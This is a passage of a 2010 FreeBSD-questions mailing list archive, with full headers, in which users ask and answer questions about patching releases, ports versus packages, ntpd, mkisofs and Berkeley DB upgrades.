bh=gmxe3218s8GEhRrUhue4pEsbhFb+4llKXRfBwrsJ7Xo=; b=QcbKAjtDm9Oo0DlNzpcjVNJkgW0VNn5TcyLZRXPnId5Oixl7W8W3Jy6Q90c6SsRFhy AD5U3k+sVX5xf8tyLUT6xtofuyn4itgogVBAbFxtL9JeYL/pZuwYibDYl+nZpmEprJ5u CTZ/huOL8RnaSlo+UlwX7FCoIvT587SFQxoDU= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=JYsNwhkf+a/2NedpqsKrA7QLxl0i2wO6yK8M2fxzg2wJrd8OSpdAJMIKmEgyCbxY1B ujwSdj88+QOv0v8JjObEUqPHoboB38qPeEY6vc2KjsqGzGS5B6iXp8kLoPSh6odVpVzg npfQNAWD1wSX9msA5lA4Z0IBErhlGigiJC610= MIME-Version: 1.0 Received: by 10.220.122.24 with SMTP id j24mr1554978vcr.28.1268434397331; Fri, 12 Mar 2010 14:53:17 -0800 (PST) In-Reply-To: <201003121902.o2CJ2hmr052219@dc.cis.okstate.edu> References: <201003121902.o2CJ2hmr052219@dc.cis.okstate.edu> Date: Fri, 12 Mar 2010 14:53:17 -0800 Message-ID: <560f92641003121453n8c43105u666c0124a9a7c2b5@mail.gmail.com> From: Nerius Landys To: Martin McCormick Content-Type: text/plain; charset=ISO-8859-1 Cc: freebsd-questions@freebsd.org Subject: Re: Patching a Newly-Built System X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 22:53:18 -0000 > Does it make any difference if one adds packages to a new system > before or after using cvsup to bring the patch level up to date? By "bringing the patch level up to date" I assume you mean a tag such as this one: *default release=cvs tag=RELENG_8_0 in your standard-supfile file, and then doing the "make buildworld" etc. prodedure outlined in the Handbook. The release branches (such as RELENG_8_0) get only very minor modifications from the time the release is made. The patches are only ones that address really serious issues, and the extent of the changes is usually very minimal. Whather you install ports before or after you update to the latest patch for your release should make absolutely no difference. From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 22:58:56 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4368B106564A for ; Fri, 12 Mar 2010 22:58:56 +0000 (UTC) (envelope-from nlandys@gmail.com) Received: from mail-qy0-f194.google.com (mail-qy0-f194.google.com [209.85.221.194]) by mx1.freebsd.org (Postfix) with ESMTP id F2EB38FC0C for ; Fri, 12 Mar 2010 22:58:55 +0000 (UTC) Received: by qyk32 with SMTP id 32so1717427qyk.28 for ; Fri, 12 Mar 2010 14:58:55 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=LwHV6+Q9XSds4G9TIscxdU243OZxc03kal6dlO2nLY0=; b=oHdQuhuOro2YVwNfPOpR02Tim8zpFYdgBpp18isAybLw14a9wDY83KPmxrlhFSQTsx M1ydV+bzeE8NPGXn6DHmHhR2Iy8JKDh79nyFeqtiZE4OOfFa6EYCHjBcNaU/PieTv7Gu 8qFRjJVgVQC1eQKEGvVfHiB33sCGZQ1YEddss= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=u839UacP5RIeo3cBRkX+gGi7xcsO8n862k1jJv3u2ULV54QiQvKctFo/tr5CwAhnyq xouKHxP3wrz2RiwBl/0bxR9+hTgbDIlOmbGznW4e+wJFjE6AI5n/sJkCmeglsb0UHqzj Xi2Pf9Qrr4t0DDxdC+kzE5ptjffZn0FWGRMWQ= MIME-Version: 1.0 Received: by 10.220.121.233 with SMTP id i41mr1548281vcr.86.1268434735158; Fri, 12 Mar 2010 14:58:55 -0800 (PST) In-Reply-To: <560f92641003121453n8c43105u666c0124a9a7c2b5@mail.gmail.com> References: <201003121902.o2CJ2hmr052219@dc.cis.okstate.edu> <560f92641003121453n8c43105u666c0124a9a7c2b5@mail.gmail.com> Date: Fri, 12 Mar 2010 14:58:55 -0800 Message-ID: <560f92641003121458u5e28ce05t27b4da86dc41c7f2@mail.gmail.com> From: Nerius Landys To: Martin McCormick Content-Type: text/plain; charset=ISO-8859-1 Cc: freebsd-questions@freebsd.org Subject: Re: Patching a Newly-Built System X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 22:58:56 -0000 >> Does it make any difference if one adds packages to a new system >> before or after using cvsup to bring the patch level up to date? > > By "bringing the patch level up to date" I assume you mean a tag such > as this one: > > *default release=cvs tag=RELENG_8_0 > > in your standard-supfile file, and then doing the "make buildworld" > etc. prodedure outlined in the Handbook. > > The release branches (such as RELENG_8_0) get only very minor > modifications from the time the release is made. The patches are only > ones that address really serious issues, and the extent of the changes > is usually very minimal. Whather you install ports before or after > you update to the latest patch for your release should make absolutely > no difference. To clarify, ports (/usr/ports/) and your base system (/usr/src/) are independent. When RELENG_8_0 gets a new patch, it has nothing to do with ports. Are you using precompiled packages or building from ports? Precompiled packages don't get updated after a release is made. I think most people build ports from source instead of using the precompiled package system. This way, your ports will continue to be updated with the latest fixes. By building ports from source I mean ``cd /usr/ports/category/portname/ ; make install clean''. From owner-freebsd-questions@FreeBSD.ORG Fri Mar 12 23:40:14 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9D9A71065670 for ; Fri, 12 Mar 2010 23:40:14 +0000 (UTC) (envelope-from merlyn@stonehenge.com) Received: from blue.stonehenge.com (cl-52.chi-02.us.sixxs.net [IPv6:2001:4978:f:33::2]) by mx1.freebsd.org (Postfix) with ESMTP id 72DE78FC0A for ; Fri, 12 Mar 2010 23:40:14 +0000 (UTC) Received: by blue.stonehenge.com (Postfix, from userid 1001) id 6F6B71DE27D; Fri, 12 Mar 2010 15:40:13 -0800 (PST) To: RW References: <3f1c29e71003120257h23ecc310w730bbc6396b27a37@mail.gmail.com> <795fc2b81003120622o2162463dv6697e26a86188cbe@mail.gmail.com> <20100312145405.742da070@gumby.homeunix.com> <3f1c29e71003120706q692fbc1cgebd2463dcf95b35d@mail.gmail.com> <20100312152732.377a92a2@gumby.homeunix.com> From: merlyn@stonehenge.com (Randal L. Schwartz) x-mayan-date: Long count = 12.19.17.3.5; tzolkin = 3 Chicchan; haab = 3 Cumku Date: Fri, 12 Mar 2010 15:40:13 -0800 In-Reply-To: <20100312152732.377a92a2@gumby.homeunix.com> (rwmaillists@googlemail.com's message of "Fri, 12 Mar 2010 15:27:32 +0000") Message-ID: <86r5npun1e.fsf@blue.stonehenge.com> User-Agent: Gnus/5.1008 (Gnus v5.10.8) Emacs/21.4 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: freebsd-questions@freebsd.org Subject: Re: ntpdate problem X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 12 Mar 2010 23:40:14 -0000 >>>>> "RW" == RW writes: RW> You can different servers like this: RW> 0.ru.pool.ntp.org RW> 1.ru.pool.ntp.org RW> 2.ru.pool.ntp.org RW> 3.ru.pool.ntp.org But really, why are you using ntpdate and not just ntpd? -- Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 Smalltalk/Perl/Unix consulting, Technical writing, Comedy, etc. etc. See http://methodsandmessages.vox.com/ for Smalltalk and Seaside discussion From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 00:05:15 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C3F20106566C for ; Sat, 13 Mar 2010 00:05:15 +0000 (UTC) (envelope-from rwmaillists@googlemail.com) Received: from mail-bw0-f216.google.com (mail-bw0-f216.google.com [209.85.218.216]) by mx1.freebsd.org (Postfix) with ESMTP id 4F9918FC0A for ; Sat, 13 Mar 2010 00:05:15 +0000 (UTC) Received: by bwz8 with SMTP id 8so1527770bwz.3 for ; Fri, 12 Mar 2010 16:05:14 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:received:received:date:from:to:subject :message-id:in-reply-to:references:x-mailer:mime-version :content-type:content-transfer-encoding; bh=6FblCYD9ZrRoF6piGZaXDdcukimsEFnnlu6Y09taG5c=; b=L49JGN/9xUe+MI4Xyn3yoic7m2k/Kp1y0ESFrglIgrdYMdDMutbia6X79emU+OUJvw i7wr4L54kXLLUTyRyB7S0CzcwF4CMzkdQBnQSC6ks6h0EAcgZraEylqLKiahlq/UGqhy njeVDwnyOB9hxdR9EG8dIRl36xZQOiO+ySGA4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=date:from:to:subject:message-id:in-reply-to:references:x-mailer :mime-version:content-type:content-transfer-encoding; b=ga6+B3nLaIp3lk/yeZL6SJdNjVP7tERe4m4ZnI/ce7MdNEf3Nmv3TVGdIye/7ZC6Gl qopK+dLyL52YlEQN2uaeZ3smgJmn3TvDZZsi67D9nDxa4RlQnBD/rvo1n1CLw8fqZWEs jYTrmMaJ9wsWV2XIAX/83r9g8o+CleqRXlkbc= Received: by 10.204.10.151 with SMTP id p23mr1020399bkp.80.1268438714428; Fri, 12 Mar 2010 16:05:14 -0800 (PST) Received: from gumby.homeunix.com (bb-87-81-140-128.ukonline.co.uk [87.81.140.128]) by mx.google.com with ESMTPS id x16sm7501357bku.11.2010.03.12.16.05.08 (version=SSLv3 cipher=RC4-MD5); Fri, 12 Mar 2010 16:05:12 -0800 (PST) Date: Sat, 13 Mar 2010 00:04:55 +0000 From: RW To: freebsd-questions@freebsd.org Message-ID: <20100313000455.0d59b44a@gumby.homeunix.com> In-Reply-To: <4324dbec1003120833h5fca200by3d3ffa61d8cc2612@mail.gmail.com> References: <4324dbec1003110905i3267df08hfc2d8a790c797a45@mail.gmail.com> <4324dbec1003120833h5fca200by3d3ffa61d8cc2612@mail.gmail.com> X-Mailer: Claws Mail 3.7.5 (GTK+ 2.18.7; i386-portbld-freebsd8.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: problems w/ touching all files? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 00:05:15 -0000 On Fri, 12 Mar 2010 10:33:02 -0600 Richard DeLaurell wrote: > I haven't tested it, but it may be that the error occurs only when > upgrading a port; make complains that the "new" port is older than > the existing. In port building the terms older and newer usually refer to versions rather than dates. From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 00:06:55 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A107D1065679 for ; Sat, 13 Mar 2010 00:06:55 +0000 (UTC) (envelope-from millenia2000@hotmail.com) Received: from bay0-omc4-s24.bay0.hotmail.com (bay0-omc4-s24.bay0.hotmail.com [65.54.190.226]) by mx1.freebsd.org (Postfix) with ESMTP id 87F878FC0C for ; Sat, 13 Mar 2010 00:06:55 +0000 (UTC) Received: from BAY126-DS20 ([65.54.190.199]) by bay0-omc4-s24.bay0.hotmail.com with Microsoft SMTPSVC(6.0.3790.3959); Fri, 12 Mar 2010 16:06:54 -0800 X-Originating-IP: [76.111.26.37] X-Originating-Email: [millenia2000@hotmail.com] Message-ID: From: "Sean Cavanaugh" To: References: <93C575B79E9B01449EBBB084032BC570123208B760@mail.ucwv.edu><44ocivszcb.fsf@be-well.ilk.org> <4B99D335.8010800@markshroyer.com> <560f92641003121026j785eabb2h9d6bcee0753cfeb0@mail.gmail.com> In-Reply-To: <560f92641003121026j785eabb2h9d6bcee0753cfeb0@mail.gmail.com> Date: Fri, 12 Mar 2010 19:06:39 -0500 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal Importance: Normal X-Mailer: Microsoft Windows Live Mail 14.0.8089.726 X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8089.726 X-OriginalArrivalTime: 13 Mar 2010 00:06:54.0512 (UTC) FILETIME=[16D3C300:01CAC241] Subject: Re: Replacing Home Router With PC X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 00:06:55 -0000 -------------------------------------------------- From: "Nerius Landys" Sent: Friday, March 12, 2010 1:26 PM To: "C. P. Ghost" Cc: "Mark Shroyer" ; Subject: Re: Replacing Home Router With PC >> Yep! Geode-based boxes are great. The ALIX boards are looking like >> Soekris gear, which I'm very happy with (of course running FreeBSD): >> >> http://www.soekris.com/net5501.htm > > I would be very interested into looking into purchasing one of these > small devices, but I'm really scared about the FreeBSD install > procedure. > _______________________________________________ not to sidetrack the discussion, but you might want to take a look at pfsense if you want a freebsd based router. From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 00:55:57 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A085B1065670 for ; Sat, 13 Mar 2010 00:55:57 +0000 (UTC) (envelope-from jsl@dec1.ifisica.uaslp.mx) Received: from dec1.ifisica.uaslp.mx (o200.ifisica.uaslp.mx [148.224.1.35]) by mx1.freebsd.org (Postfix) with ESMTP id 6031B8FC0C for ; Sat, 13 Mar 2010 00:55:57 +0000 (UTC) Received: from localhost (localhost.ifisica.uaslp.mx [127.0.0.1]) by dec1.ifisica.uaslp.mx (Postfix) with ESMTP id 863CA46CD2 for ; Fri, 12 Mar 2010 18:33:07 -0600 (CST) X-Virus-Scanned: amavisd-new at ifisica.uaslp.mx Received: from dec1.ifisica.uaslp.mx ([127.0.0.1]) by localhost (dec1.ifisica.uaslp.mx [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id t8EydXD6WQl0 for ; Fri, 12 Mar 2010 18:33:05 -0600 (CST) Received: from dec1.ifisica.uaslp.mx (localhost.ifisica.uaslp.mx [127.0.0.1]) by dec1.ifisica.uaslp.mx (Postfix) with ESMTP id 13A84468E9 for ; Fri, 12 Mar 2010 18:33:05 -0600 (CST) From: "Juan Carlos Sanchez-Leanos" To: freebsd-questions@freebsd.org Date: Fri, 12 Mar 2010 18:33:05 -0600 Message-Id: <20100313002539.M77080@dec1.ifisica.uaslp.mx> In-Reply-To: <2C158825D29E6D4F93658809BFCD00B9580658EC0D@MAIL5.supermicro.com> References: <20100312033943.M72431@dec1.ifisica.uaslp.mx> <2C158825D29E6D4F93658809BFCD00B9580651BB63@MAIL5.supermicro.com> <20100312184112.M71049@dec1.ifisica.uaslp.mx> <2C158825D29E6D4F93658809BFCD00B9580658EC0D@MAIL5.supermicro.com> X-Mailer: OpenWebMail 2.52 20060502 X-OriginatingIP: 148.224.1.16 (jsl) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Subject: MotherBoard Supermicro H8SMA-2 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 00:55:57 -0000 Hello FreeBSD users, The following link: http://www.supermicro.com/Aplus/support/resources/OS/OS_Comp_AMD_2.cfm shows FreeBSD 7.0 compatibility with (IDE Drive). I would like to use SATA drives. Have you tested new FreeBSD versions? Thanks in advance! Juan Carlos Sanchez-Leanos Tecnico Academico "A" Computo, IF-UASLP Tel. 444 8262362-65, x. 125 Email:jsl@ifisica.uaslp.mx From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 10:20:49 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2C9B0106566C for ; Sat, 13 Mar 2010 10:20:49 +0000 (UTC) (envelope-from aiza21@comclark.com) Received: from avmxsmtp1.comclark.com (avmxsmtp1.comclark.com [202.69.191.115]) by mx1.freebsd.org (Postfix) with ESMTP id 9FD548FC0A for ; Sat, 13 Mar 2010 10:20:47 +0000 (UTC) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApwZANv1mkvKRa39/2dsb2JhbACab3cBAQEBtyWEewSDFg X-IronPort-AV: E=Sophos;i="4.49,631,1262534400"; d="scan'208";a="9511223" Received: from unknown (HELO [10.0.10.3]) ([202.69.173.253]) by avmxsmtp5.comclark.com with SMTP; 13 Mar 2010 18:20:46 +0800 Message-ID: <4B9B66F8.5090909@comclark.com> Date: Sat, 13 Mar 2010 18:20:40 +0800 From: Aiza User-Agent: Thunderbird 2.0.0.17 (Windows/20080914) MIME-Version: 1.0 To: FreeBSD Questions Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Where is mkisofs X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 10:20:49 -0000 http://www.freebsd.org/cgi/ports.cgi?query=mkisofs&stype=all&sektion=all This just shows gui frontends for mkisofs. Need to create iso. How to do it? From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 10:26:32 2010 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0DB131065670 for ; Sat, 13 Mar 2010 10:26:32 +0000 (UTC) (envelope-from norgaard@locolomo.org) Received: from mail.locolomo.org (97.pool85-48-194.static.orange.es [85.48.194.97]) by mx1.freebsd.org (Postfix) with ESMTP id BB7248FC12 for ; Sat, 13 Mar 2010 10:26:31 +0000 (UTC) Received: from beta.local (ppp-88-217-9-250.dynamic.mnet-online.de [88.217.9.250]) by mail.locolomo.org (Postfix) with ESMTPSA id F36221C0871 for ; Sat, 13 Mar 2010 11:26:29 +0100 (CET) Message-ID: <4B9B6853.3070808@locolomo.org> Date: Sat, 13 Mar 2010 11:26:27 +0100 From: Erik Norgaard User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1.8) Gecko/20100227 Lightning/1.0b1 Thunderbird/3.0.3 MIME-Version: 1.0 To: questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit Cc: Subject: Berkeley DB upgrade X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 10:26:32 -0000 Hi: I want to upgrade my BerkeleyDB, I have some 500MB in BDB 43. - What is the latest stable version? - Is there any way of determining if datafiles are compatible across versions? - Is there any tool for migrating between versions? Thanks, Erik -- Erik Nųrgaard Ph: +34.666334818/+34.915211157 http://www.locolomo.org From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 10:52:25 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5F1991065675 for ; Sat, 13 Mar 2010 10:52:25 +0000 (UTC) (envelope-from amitabhkant@gmail.com) Received: from mail-vw0-f54.google.com (mail-vw0-f54.google.com [209.85.212.54]) by mx1.freebsd.org (Postfix) with ESMTP id 159858FC0A for ; Sat, 13 Mar 2010 10:52:24 +0000 (UTC) Received: by vws14 with SMTP id 14so141686vws.13 for ; Sat, 13 Mar 2010 02:52:24 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:cc:content-type; bh=8H2Z6b/I7kIN6W1JkgdEJ5S0+UwFmk9nvwZqeWKUKk0=; b=fimmLGZfmIvjkCcJBGRdAd8hm6+i+ZNfxFf0RRD6+CXLX7h2952KpVzOmD0nM2c5BI fnkccn0mX/722JbbOPEVsJJ0ng7yXbfoxa6QljS0mYEarkbBP04mKaW/y1Xu2WC/3DTw Rplh9lZBUiuSlZkA5nBoiyeNc6lwSMo0fXgqI= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; b=scPRcWVj80rVSaGtBvhC5dtsFC7kS8PtIECgwyUHoWj5baZpNh0Y0r5n+pSTYRTn2Q viQsCJQcUxxz1lnBPCRlOCjmnfUtYOwbkCsd86CLPw0SNAzKQOY5Qypmf+yHH5H42yL4 /WC2xhWA+pjybweEC23l/6ynXfzqRQY67vfU8= MIME-Version: 1.0 Received: by 10.220.126.208 with SMTP id d16mr1775833vcs.140.1268477544240; Sat, 13 Mar 2010 02:52:24 -0800 (PST) In-Reply-To: <4B9B66F8.5090909@comclark.com> References: <4B9B66F8.5090909@comclark.com> From: Amitabh Kant Date: Sat, 13 Mar 2010 16:22:04 +0530 Message-ID: <84b68b3d1003130252l23b9109t8a09f478a3b4f5e6@mail.gmail.com> To: Aiza Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Cc: FreeBSD Questions Subject: Re: Where is mkisofs X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 10:52:25 -0000 On Sat, Mar 13, 2010 at 3:50 PM, Aiza wrote: > > http://www.freebsd.org/cgi/ports.cgi?query=mkisofs&stype=all&sektion=all > > This just shows gui frontends for mkisofs. > > Need to create iso. How to do it? > Installing the port /usr/ports/sysutils/cdrtools/ installs mkisofs Amitabh Kant From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 11:17:49 2010 Return-Path: Delivered-To: questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A927A106566B for ; Sat, 13 Mar 2010 11:17:49 +0000 (UTC) (envelope-from cpghost@cordula.ws) Received: from mail-bw0-f216.google.com (mail-bw0-f216.google.com [209.85.218.216]) by mx1.freebsd.org (Postfix) with ESMTP id 497E88FC17 for ; Sat, 13 Mar 2010 11:17:48 +0000 (UTC) Received: by bwz8 with SMTP id 8so1715561bwz.3 for ; Sat, 13 Mar 2010 03:17:48 -0800 (PST) MIME-Version: 1.0 Received: by 10.204.9.134 with SMTP id l6mr4522905bkl.83.1268479067663; Sat, 13 Mar 2010 03:17:47 -0800 (PST) X-Originating-IP: [93.203.29.231] In-Reply-To: <4B9B6853.3070808@locolomo.org> References: <4B9B6853.3070808@locolomo.org> Date: Sat, 13 Mar 2010 12:17:47 +0100 Message-ID: From: "C. P. Ghost" To: Erik Norgaard Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: questions@freebsd.org Subject: Re: Berkeley DB upgrade X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 11:17:49 -0000 On Sat, Mar 13, 2010 at 11:26 AM, Erik Norgaard wro= te: > Hi: > > I want to upgrade my BerkeleyDB, I have some 500MB in BDB 43. > > - What is the latest stable version? > - Is there any way of determining if datafiles are compatible > =A0across versions? > - Is there any tool for migrating between versions? The upgrade process is explained here: http://www.oracle.com/technology/documentation/berkeley-db/db/programmer_re= ference/am_upgrade.html http://www.oracle.com/technology/documentation/berkeley-db/db/programmer_re= ference/upgrade_process.html http://www.oracle.com/technology/documentation/berkeley-db/db/api_reference= /C/db_upgrade.html http://www.oracle.com/technology/documentation/berkeley-db/db/api_reference= /C/dbupgrade.html Of course, don't forget to backup your old data before upgrading! ;-) > Thanks, Erik > > -- > Erik N=F8rgaard > Ph: +34.666334818/+34.915211157 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0http:/= /www.locolomo.org -cpghost. --=20 Cordula's Web. http://www.cordula.ws/ From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 11:32:53 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 29E5A1065672 for ; Sat, 13 Mar 2010 11:32:53 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx01.qsc.de (mx01.qsc.de [213.148.129.14]) by mx1.freebsd.org (Postfix) with ESMTP id DDCCB8FC12 for ; Sat, 13 Mar 2010 11:32:52 +0000 (UTC) Received: from r55.edvax.de (port-92-195-110-166.dynamic.qsc.de [92.195.110.166]) by mx01.qsc.de (Postfix) with ESMTP id A33E23D94B; Sat, 13 Mar 2010 12:32:50 +0100 (CET) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id o2DBWoFK001647; Sat, 13 Mar 2010 12:32:50 +0100 (CET) (envelope-from freebsd@edvax.de) Date: Sat, 13 Mar 2010 12:32:49 +0100 From: Polytropon To: Aiza Message-Id: <20100313123249.888e305b.freebsd@edvax.de> In-Reply-To: <4B9B66F8.5090909@comclark.com> References: <4B9B66F8.5090909@comclark.com> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: FreeBSD Questions Subject: Re: Where is mkisofs X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 13 Mar 2010 11:32:53 -0000 On Sat, 13 Mar 2010 18:20:40 +0800, Aiza wrote: > > http://www.freebsd.org/cgi/ports.cgi?query=mkisofs&stype=all&sektion=all > > This just shows gui frontends for mkisofs. > > Need to create iso. How to do it? The mkisofs program is part of the cdrtools port / package. After installing it, you would do something like this: % mkisofs -r -o myisofile.iso myfiles/ Keep in mind that it may be needed to specify additional options if you need "Joliet" extension - see "man mkisofs". -- Polytropon Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Sat Mar 13 12:01:17 2010 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 6DF111065678 for ; Sat, 13 Mar 2010 12:01:17 +0000 (UTC) (envelope-from onemda@gmail.com) Received: from mail-ew0-f228.google.com (mail-ew0-f228.google.com [209.85.219.228]) by mx1.freebsd.org (Postfix) with ESMTP id 045498FC1A for ; Sat, 13 Mar 2010 12:01:16 +0000 (UTC) Received: by ewy28 with SMTP id 28so340247ewy.13 for ; Sat, 13 Mar 2010 04:01:15 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type; bh=ahna5VubZ4vutc06IXpjRj3l3DDRcwBPyvRBXorxem8=; b=UnvMsNi/lTeWoAfj3ObF2I8ebeB/vgA3Unz6ELFdOi4tkszSDK0LwfmfsaUrwLxmgD NVRDf0ZvTs4ba0Y+eIeO8UuLS9Fa21dh5hJNQ/7Z1kvQPveOMmPquMTvkKXggTVOBWHk sJ1UWn/VXki6eR6yE6Zlw2NG15+/C2iUVgokc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=AOpr9gMZCPaeUZaiD7/gualZZfzQ/LsEO0NrJ5+h/9cPlPKu4r8Oh52juQo62fDprl a59qm1aiL7GNS7HTbrbXoUIJd7S4/OeTicb+I9uvDzPp/Klopj6AXrONyu2kHCpBogZe UbhCkkb0rLzBzihkIIOpAbeh6U5CqgdmHDz1A= MIME-Version: 1.0 Received: by 10.213.37.205 with SMTP id y13mr1042584ebd.86.1268481674876; Sat, 13 Mar 2010 04:01:14 -0800 (PST) In-Reply-To: <14F5E195-F42E-4290-AD0B-60ED2AB9D475@mac.com> References: 